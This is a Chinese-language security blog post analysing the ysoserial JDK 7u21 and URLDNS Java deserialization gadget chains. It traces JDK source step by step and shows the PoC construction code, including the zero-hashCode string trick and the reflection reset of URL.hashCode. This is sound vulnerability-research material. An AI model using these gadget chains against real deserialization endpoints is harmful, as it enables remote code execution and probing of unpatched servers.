天天看點

ysoserial分析【二】7u21和URLDNS

目錄

  • 7u21
    • gadget鍊分析
    • hashCode繞過
    • 參考
  • URLDNS

7u21中利用了TemplatesImpl來執行指令,結合動态代理、AnnotationInvocationHandler、HashSet都成了gadget鍊。

先看一下調用棧,把ysoserial中的調用棧簡化了一下

LinkedHashSet.readObject()
  LinkedHashSet.add()
      Proxy(Templates).equals()
        AnnotationInvocationHandler.invoke()
          AnnotationInvocationHandler.equalsImpl()
            Method.invoke()
              ...
                TemplatesImpl.getOutputProperties()
                  TemplatesImpl.newTransformer()
                    TemplatesImpl.getTransletInstance()
                      TemplatesImpl.defineTransletClasses()
                        對_bytecodes屬性的值(執行個體的位元組碼)進行執行個體化
                          RCE
           

其中關于

TemplatsImpl

類如何執行惡意代碼的知識可以參考另一篇文章中對CommonsCollections2的分析,這裡不再贅述。隻要知道這裡調用

TemplatesImpl.getOutputProperties()

可以執行惡意代碼即可。

看一下ysoserial的poc

public Object getObject(final String command) throws Exception {
    final Object templates = Gadgets.createTemplatesImpl(command);//傳回構造好的TemplatesImpl執行個體,執行個體的_bytecodes屬性的值是執行惡意語句類的位元組碼

    String zeroHashCodeStr = "f5a5a608";
    HashMap map = new HashMap();
    map.put(zeroHashCodeStr, "foo");

    InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor("sun.reflect.annotation.AnnotationInvocationHandler").newInstance(Override.class, map);//map作為構造方法的第二個參數,map指派給AnnotationInvocationHandler.membervalues屬性

    Reflections.setFieldValue(tempHandler, "type", Templates.class);
    Templates proxy = Gadgets.createProxy(tempHandler, Templates.class);//為AIH建立代理

    LinkedHashSet set = new LinkedHashSet(); //LinkedHashSet父類是HashSet
    set.add(templates);//TemplatesImpl執行個體
    set.add(proxy);//AnnotationInvocationHandler執行個體的代理,AnnotationInvocationHandler的membervalues是TemplatesImple執行個體

    Reflections.setFieldValue(templates, "_auxClasses", null);
    Reflections.setFieldValue(templates, "_class", null);

    map.put(zeroHashCodeStr, templates); //綁定到AnnotationInvocationHandler的那個map中的再添加一組鍵值對,value是TemplatesImpl執行個體。但是由于map中的第一組鍵值對的鍵也是zeroHashCodeStr,是以這裡就是相當于把第一個鍵值對的value重新複指派了。

    return set;//傳回LinkedHashSet執行個體,用于序列化
}
           

總體來說就是傳回一個

LinkedHashSet

執行個體,其中有兩個元素,第一個元素是

_bytecodes

屬性是惡意類位元組碼的TemplatesImpl執行個體。

第二個元素是AnnotationInvocationHandler的代理執行個體,這個AnnotationInvocationHandler執行個體在初始化時将一個HashMap執行個體傳入,HashMap的第一個元素的key是TemplatesImpl執行個體。

看一下AnnotationInvocationHandler的構造方法

AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
    this.type = var1;
    this.memberValues = var2;
}
           

也就是把這個HashMap執行個體指派給了

memberValues

屬性。

至此poc分析完畢,下面調試一下反序列化觸發gadget鍊的流程。有感到模糊的地方可以參考以上的分析。

首先由于poc return了

LinkedHashSet

執行個體用于序列化,是以這就是反序列化的入口。由于

LinkedHashSet

沒有實作

readObject()

方法,是以跟進其父類:

HashSet.readObject

private void readObject(java.io.ObjectInputStream s)
    throws java.io.IOException, ClassNotFoundException {
    
    s.defaultReadObject();

    int capacity = s.readInt();
    float loadFactor = s.readFloat();
    map = (((HashSet)this) instanceof LinkedHashSet ?
           new LinkedHashMap<E,Object>(capacity, loadFactor) :
           new HashMap<E,Object>(capacity, loadFactor));//建立一個新map

    // Read in size
    int size = s.readInt();

    // Read in all elements in the proper order.
    for (int i=0; i<size; i++) {
        E e = (E) s.readObject();
        map.put(e, PRESENT);//将反序列化出來的元素put到map中
    }
}
           

我們主要關注其對元素的操作。可以看到最後的一個for循環,變量e就是每個元素反序列化之後的執行個體。由于在建構poc時,LinkedHashSet被我們添加了兩個元素,是以這裡會進行兩次for循環,第一次e是TemplatsImpl執行個體,第二次是Proxy執行個體

ysoserial分析【二】7u21和URLDNS
ysoserial分析【二】7u21和URLDNS

這裡把兩個元素反序列化之後會作為第一個參數調用map.put(),跟進一下這個方法

public V put(K key, V value) {
    if (key == null)
        return putForNullKey(value);
    int hash = hash(key);
    int i = indexFor(hash, table.length);
    for (Entry<K,V> e = table[i]; e != null; e = e.next) {
        Object k;
        if (e.hash == hash && ((k = e.key) == key || key.equals(k))) {
            V oldValue = e.value;
            e.value = value;
            e.recordAccess(this);
            return oldValue;
        }
    }

    modCount++;
    addEntry(hash, key, value, i);
    return null;
}
           

我們主要關注這裡對第一個參數

key

的操作,因為我們的payload就在TemplatsImple和Proxy執行個體中,是以隻有對

key

做某些操作才可能會觸發我們的payload。

可以看到首先調用了

hash(key)

,跟進一下HashMap.hash()

final int hash(Object k) {
    ...

    h ^= k.hashCode();
    
    h ^= (h >>> 20) ^ (h >>> 12);
    return h ^ (h >>> 7) ^ (h >>> 4);
}
           

可以發現,這裡調用了key的hashCode()方法。我們挨個看看兩個key:TemplatesImpl和Proxy是如何調用hashCode()的。

由于TemplatesImpl并沒有實作hashCode()方法,是以直接調用了基類Object.hashCode()。

public native int hashCode();
           

這是個native方法,也就是java調用非java代碼編寫的接口,這個hashCode()大概是通過計算對象的記憶體位址得到的。下面再看Proxy.hashCode(),由于動态代理的特性,調用Proxy的所有方法都會轉而調用綁定在Proxy上的

InvocationHandler

的Invoke()方法。回顧最上面建立Proxy時,我們綁定的

InvocationHandler

是AnnotationInvocationHandler執行個體,是以這裡會轉而調用

AnnotationInvocationHandler.invoke()

,跟進之後發現,最底層調用了

AnnotationInvocationHandler.hashCodeImple()

方法

private int hashCodeImpl() {
    int var1 = 0;

    Entry var3;
    for(Iterator var2 = this.memberValues.entrySet().iterator(); var2.hasNext(); var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())) {
        var3 = (Entry)var2.next();
    }

    return var1;
}
           

這裡看的會比較繞,其實就是通過周遊

this.memberValues.entrySet()

中的所有鍵值對,來計算其中的key和value的hash,全部加起來之後傳回最後的hash值。這裡的

this.memberValues

屬性就是我們在建構poc時傳入的那個HashMap執行個體。

Proxy.hashCode()跟完了,沒有什麼危險操作。是以回到最開始的HashMap.put()中。

public V put(K key, V value) {
    if (key == null)
        return putForNullKey(value);
    int hash = hash(key);
    int i = indexFor(hash, table.length);
    for (Entry<K,V> e = table[i]; e != null; e = e.next) {
        Object k;
        if (e.hash == hash && ((k = e.key) == key || key.equals(k))) {
            V oldValue = e.value;
            e.value = value;
            e.recordAccess(this);
            return oldValue;
        }
    }

    modCount++;
    addEntry(hash, key, value, i);
    return null;
}
           

int hash = hash(key)

這一步已經跟蹤完了,繼續往下看。可以看到for循環的條件是

table[i] != null

,這裡的table在最後調用的addEntry()中進行了指派,跟進一下

void addEntry(int hash, K key, V value, int bucketIndex) {
    if ((size >= threshold) && (null != table[bucketIndex])) {
        resize(2 * table.length);
        hash = (null != key) ? hash(key) : 0;
        bucketIndex = indexFor(hash, table.length);
    }

    createEntry(hash, key, value, bucketIndex);
}

void createEntry(int hash, K key, V value, int bucketIndex) {
    Entry<K,V> e = table[bucketIndex];
    table[bucketIndex] = new Entry<>(hash, key, value, e);
    size++;
}
           

可以發現,這裡利用key、value和hash建立了一個Entry執行個體,然後添加到了table數組中。回到上面的put()方法,由于for循環處的table中沒有資料,是以調用完addEntry()就直接return了。

接下來是第二次進入put()方法,這一次傳入的k參數是Proxy執行個體。

int hash = hash(key);

我們已經跟進過了,僅需往下看,到了for循環。由于在上一次table中已經有了資料,是以這裡會進入。然後就到了if條件

for (Entry<K,V> e = table[i]; e != null; e = e.next) {
    Object k;
    if (e.hash == hash && ((k = e.key) == key || key.equals(k))) {
        ...
           

這裡的變量e就是在上次添加到table數組中的那個Entry對象。

e.hash

就是初始化時傳入的hash的值,同理

e.key

也是初始化時傳入的key。如果這裡滿足

e.hash == hash

e.key != key

時,就會調用

key.equals(e.key)

這些條件後面會回過頭來說,先假設這些條件都可以滿足。就會導緻調用

key.equals(e.key)

,這裡的

key

Proxy

,而

e.key

是上一次的

TemplatesImpl

執行個體。又由于調用了Proxy的方法,自動跳轉到

AnnotationInvocationHandler.invoke()

。跟進一下

public Object invoke(Object var1, Method var2, Object[] var3) {
    String var4 = var2.getName();
    Class[] var5 = var2.getParameterTypes();
    if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
        return this.equalsImpl(var3[0]);
    } else {
        ...
    }
}
           

var1是代理類執行個體,var2是調用的方法,就是

equals

的Method對象,var3是調用的參數,也就是

TemplatesImpl

執行個體。注意上面的第一個if條件,

equals

方法的參數是

Object

類型,是以總體判定條件為True,進而以

var3[0]

為參數,調用

this.equalsImpl()

,跟進

private Boolean equalsImpl(Object var1) {
    if (var1 == this) {
        return true;
    } else if (!this.type.isInstance(var1)) {
        return false;
    } else {
        Method[] var2 = this.getMemberMethods();
        int var3 = var2.length;

        for(int var4 = 0; var4 < var3; ++var4) {
            Method var5 = var2[var4];
            String var6 = var5.getName();
            Object var7 = this.memberValues.get(var6);
            Object var8 = null;
            AnnotationInvocationHandler var9 = this.asOneOfUs(var1);
            if (var9 != null) {
                var8 = var9.memberValues.get(var6);
            } else {
                try {
                    var8 = var5.invoke(var1);
                } catch (InvocationTargetException var11) {
                    return false;
                } catch (IllegalAccessException var12) {
                    throw new AssertionError(var12);
                }
            }

            if (!memberValueEquals(var7, var8)) {
                return false;
            }
        }

        return true;
    }
}
           

這裡的var1就是

TemplatesImpl

執行個體,而

this.type

在建立poc時就已經定義了

Reflections.setFieldValue(tempHandler, "type", Templates.class);
           

TemplatesImpl

的正是實作了

Templates

接口,是以if條件中的

this.type.isInstance(var1)

是True,非True就是False,是以進入Else語句。首先調用了

this.getMemberMethods()

,跟進一下

private Method[] getMemberMethods() {
    if (this.memberMethods == null) {
        this.memberMethods = (Method[])AccessController.doPrivileged(new PrivilegedAction<Method[]>() {
            public Method[] run() {
                Method[] var1 = AnnotationInvocationHandler.this.type.getDeclaredMethods();//利用反射擷取this.type類/接口中聲明的所有方法
                AccessibleObject.setAccessible(var1, true);
                return var1;
            }
        });
    }

    return this.memberMethods;
}
           

由于this.type是

Templates

接口,是以看一下這個接口聲明了哪些方法。

public interface Templates {

    Transformer newTransformer() throws TransformerConfigurationException;

    Properties getOutputProperties();
}
           

隻聲明了兩個方法:newTransformer()和getOutputProperties()。

回到

equalsImpl()

,擷取了this.type中聲明的方法之後傳回給變量var2。然後進入一個for循環,對這些方法進行周遊。先把方法名指派給var6,跟進

this.asOneOfUs()

private AnnotationInvocationHandler asOneOfUs(Object var1) {
    if (Proxy.isProxyClass(var1.getClass())) {
        ...
    }

    return null;
}
           

由于var1是

TemplatesImpl

執行個體,并不是Proxy,是以直接return null。回到上面,由于var9是null,是以進入else語句

var8 = var5.invoke(var1);
           

var5是上面傳回的兩個方法的其中一個,也就是newTransformer()和getOutputProperties(),var1是

TemplatesImpl

執行個體。這裡通過反射調用

TemplatesImpl

的var5方法。

本文一開始就說了,調用

TemplatesImpl.getOutputProperties()

會導緻

TemplatesImpl._bytecodes

的值(含有執行惡意代碼的類的位元組碼)進行執行個體化,是以這裡就是漏洞的觸發點了。

至此漏洞已經成功觸發,回到之前還有一個沒有完成的點,也就是HashMap.put()方法中的那個if條件。

public V put(K key, V value) {
    ...
    int hash = hash(key);
    int i = indexFor(hash, table.length);
    for (Entry<K,V> e = table[i]; e != null; e = e.next) {
        Object k;
        if (e.hash == hash && ((k = e.key) == key || key.equals(k))) {
            ...
}
           

也就是這裡的

e.hash == hash

e.key != key

。由于key是Proxy執行個體,e.key是TemplatesImpl執行個體,是以第二個條件好滿足,注意是第一個條件,如何保證兩者的hash相同?

e.hash是由

TemplatesImpl.hashCode()

,由于TemplatesImpl沒有定義這個方法,是以調用的是Object的方法,而正如之前說的,

Object.hashCode()

是通過對象的記憶體位址來計算hash的。

hash變量是Proxy.hashCode()傳回的,也就是之前分析的

AnnotationInvocationHandler.hashCodeImple()

,回顧一下

private int hashCodeImpl() {
    int var1 = 0;

    Entry var3;
    for(Iterator var2 = this.memberValues.entrySet().iterator(); var2.hasNext(); var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())) {
        var3 = (Entry)var2.next();
    }

    return var1;
}
           

這裡的

this.memberValues

屬性就是我們在建構poc時傳入的那個HashMap執行個體,也就是

(new HashMap()).put("f5a5a608", templates)

,templates是TemplatesImpl執行個體。上面的hashCodeImple()主要是這句:

private int hashCodeImpl() {
    ...
        var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())
    ...
    return var1;
}
           

而key是"f5a5a608",value是TempIatesImpl執行個體,是以等價于

127 * "f5a5a608".hashCode() ^ memberValueHashCode(teamplates)
           

跟進一下memberValueHashCode

private static int memberValueHashCode(Object var0) {
        Class var1 = var0.getClass();
        if (!var1.isArray()) {
            return var0.hashCode();
            ...
           

由于參數是TemplatesImpl對象,是以直接傳回了

TemplatesImpl.hashCode()

,前面已經說了,其TemplatesImpl并沒有重寫hashCode,是以調用Object.hashCode()根據對象的記憶體位址生成了hash。至此兩個hash的值已經計算完了。

第一個hash:
TemplatesImpl執行個體.hashCode()

第二個hash
127 * "f5a5a608".hashCode() ^ TemplatesImpl執行個體.hashCode()
           

這兩個TemplatesImpl執行個體的記憶體位址實際上是一樣的,因為在建構poc時,用的就是同一個TemplatesImpl執行個體:

public Object getObject(final String command) throws Exception {
    final Object templates = Gadgets.createTemplatesImpl(command);//TemplatesImpl執行個體

    String zeroHashCodeStr = "f5a5a608";

    HashMap map = new HashMap();
    map.put(zeroHashCodeStr, "foo");
    ...

    LinkedHashSet set = new LinkedHashSet();
    set.add(templates);//插入TemplatesImpl執行個體
    set.add(proxy);//Proxy代理

    ...

    map.put(zeroHashCodeStr, templates);//插入TemplatesImpl執行個體

    return set;
}
           

由于是同一個執行個體,是以記憶體位址相同,是以

Object.hashCode()

傳回的hash也是相同的。回看一下兩個hash

第一個hash:
TemplatesImpl執行個體.hashCode()

第二個hash
127 * "f5a5a608".hashCode() ^ TemplatesImpl執行個體.hashCode()
           

我們隻需要計算一下

"f5a5a608".hashCode()

,這也是一個比較有意思的點,直接放到Debug中計算一下

ysoserial分析【二】7u21和URLDNS

結果是0!這個值好像是一哥們通過一個while循環周遊出來的。是以上面的第二個hash由于是127 * 0,是以也是0,進而兩個hash變成了:

第一個hash:
TemplatesImpl執行個體.hashCode()

第二個hash
0 ^ TemplatesImpl執行個體.hashCode()
           

^是異或運算符,異或的規則是轉換成二進制比較,相同為0,不同為1。由于是按二進制的位進行比較,0隻有一位,也就是說如果一個數的最低位與0相同,那一位則為0,否則則為1,這個結果正好與條件一樣,隻有最低位是0時才會與0相同,進而傳回0。如果最低位是1,與0不同,則傳回1,也就是啥都沒變呗。是以說任何數與0異或,結果都還是原來的值,是以上面這兩個hash相等了。

至此幾個條件全部滿足,通過後面的

key.equals(k)

造成了代碼執行。

是以整個的資料流大概是

HashSet.readObject()
    HashMap.put()
        TemplatesImpl.hashCode()
    HashMap.put()
        Proxy.hashCode()
            AnnotationInvocationHandler.Invoke()
                AnnotationInvocationHandler.hashCodeImpl()
        Proxy.equals()
            AnnotationInvocationHandler.Invoke()
                AnnotationInvocationHandler.equalsImpl()
                    TemplatesImpl.getOutputProperties()
                        TemplatesImpl.newTransformer()
                            TemplatesImpl.getTransletInstance()
                                TemplatesImpl.defineTransletClasses()
                                    對_bytecodes屬性的值(執行個體的位元組碼)進行執行個體化
                                        RCE
           

JDK7u21反序列化漏洞分析

ysoserial payload分析

這個gadget會在反序列化時發送一個DNS請求,僅依賴于JDK,是以适用範圍很廣,應該是隻要有反序列化入口就能用這個gadget打。

先看一下調用棧

Gadget Chain:
  HashMap.readObject()
    HashMap.putVal()
      HashMap.hash()
        URL.hashCode()
           

這裡就涉及到了URL類,這個類的

hashCode()

方法底層會調用

URLStreamHandler.hashCode()

發送一個DNS請求。

protected int hashCode(URL u) {
    int h = 0;

    // Generate the protocol part.
    String protocol = u.getProtocol();
    if (protocol != null)
        h += protocol.hashCode();

    // Generate the host part.
    InetAddress addr = getHostAddress(u);
    
    ...
           

在反序列化時,HashMap會自動對鍵計算hash,其中就調用了鍵的hashCode()方法,是以我們可以利用HashMap來觸發

URL.hashCode()

private void readObject(java.io.ObjectInputStream s)
    throws IOException, ClassNotFoundException {
    // Read in the threshold (ignored), loadfactor, and any hidden stuff
    s.defaultReadObject();
    reinitialize();
    if (loadFactor <= 0 || Float.isNaN(loadFactor))
        throw new InvalidObjectException("Illegal load factor: " +
                                         loadFactor);
    s.readInt();                // Read and ignore number of buckets
    int mappings = s.readInt(); // Read number of mappings (size)
    if (mappings < 0)
        throw new InvalidObjectException("Illegal mappings count: " +
                                         mappings);
    else if (mappings > 0) { // (if zero, use defaults)
        
        ...
        Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
        table = tab;

        // Read the keys and values, and put the mappings in the HashMap
        for (int i = 0; i < mappings; i++) {
            @SuppressWarnings("unchecked")
                K key = (K) s.readObject();
            @SuppressWarnings("unchecked")
                V value = (V) s.readObject();
            putVal(hash(key), key, value, false, false);//
        }
    }
}

static final int hash(Object key) {
    int h;
    return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
           

根據以上描述大概可以寫出這樣的poc

URLStreamHandler handler = new SilentURLStreamHandler();

HashMap ht = new HashMap();
URL u = new URL(null, url, handler);
ht.put(u, url);

return ht;

static class SilentURLStreamHandler extends URLStreamHandler {

        protected URLConnection openConnection(URL u) throws IOException {
                return null;
        }
        protected synchronized InetAddress getHostAddress(URL u) {
                return null;
        }
}
           

SilentURLStreamHandler

類重寫了

URLStreamHandler.getHostAddress()

,這樣可以保證在編譯gadget時不會發送DNS請求。

然後我們把上面poc傳回的類進行序列化,在反序列化并沒有發送DNS請求。調試之後才發現,在反序列化調用

URL.hashCode()

由于已經存在

hashCode

且值不為-1,進而直接return掉了。

ysoserial分析【二】7u21和URLDNS

是以我們需要保證

URL.hashCode

的值為null或-1。我們可以在序列化時利用反射來修改URL的屬性,如下

URL u = new URL(null, url, handler);
ht.put(u, url); 
Reflections.setFieldValue(u, "hashCode", -1); 
           

調用鍊如下

HashMap.readObject() -> HashMap.hash() -> URL.hashCode() -> URLStreamHandler.hashCode() -> URLStreamHandler.getHostAddress()
           

繼續閱讀